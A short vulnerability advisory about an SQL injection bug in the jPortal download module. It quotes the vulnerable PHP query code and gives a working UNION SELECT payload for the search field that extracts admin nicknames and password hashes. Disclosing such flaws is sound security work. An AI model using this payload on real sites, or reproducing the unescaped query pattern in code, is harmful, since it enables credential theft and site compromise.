Sql injection in jPortal (module download)

Advisory Text :

Versions: all from 2.2.1 to 2.3.1(+Service Pack)+shop jportal(I check this
bug only on one site)

SQL injection attack
if magic_quotes_qpc=Off

Problem is in file serching engine (download.php), witch code is in
?module/down.inc.php? file:

<code>
if($cat=='all') {
$q_ = "AND title LIKE '%$word%'";
} else {
$q_ = "AND category LIKE '%-$cat-%' AND title LIKE '%$word%'";
}

$query = "SELECT * FROM $file_b_tbl WHERE stat<>5 $q_";
$result = mysql_query($query);
</code>

In $q query we have simple SQL Injection attack (variable $word we take
from ?search? field) then In field ?Where I should search? ($cat) we SET
?everywhere?. And now we need this query ($query) to attack:

$query = "SELECT * FROM file_data WHERE stat<>5 AND title LIKE '%a%' UNION
SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL ,
NULL , NULL FROM admins/*%'";
Exploits:
SQL injection attack
-http://www.page.info/download.php
We write in ?search? field:
a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL ,
NULL , NULL , NULL , NULL FROM admins/*

We push ?Find? button and we get list of admins and users with coding
passwords.

krasza
http://www.krewniacy.pl

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Sql injection in jPortal (module download)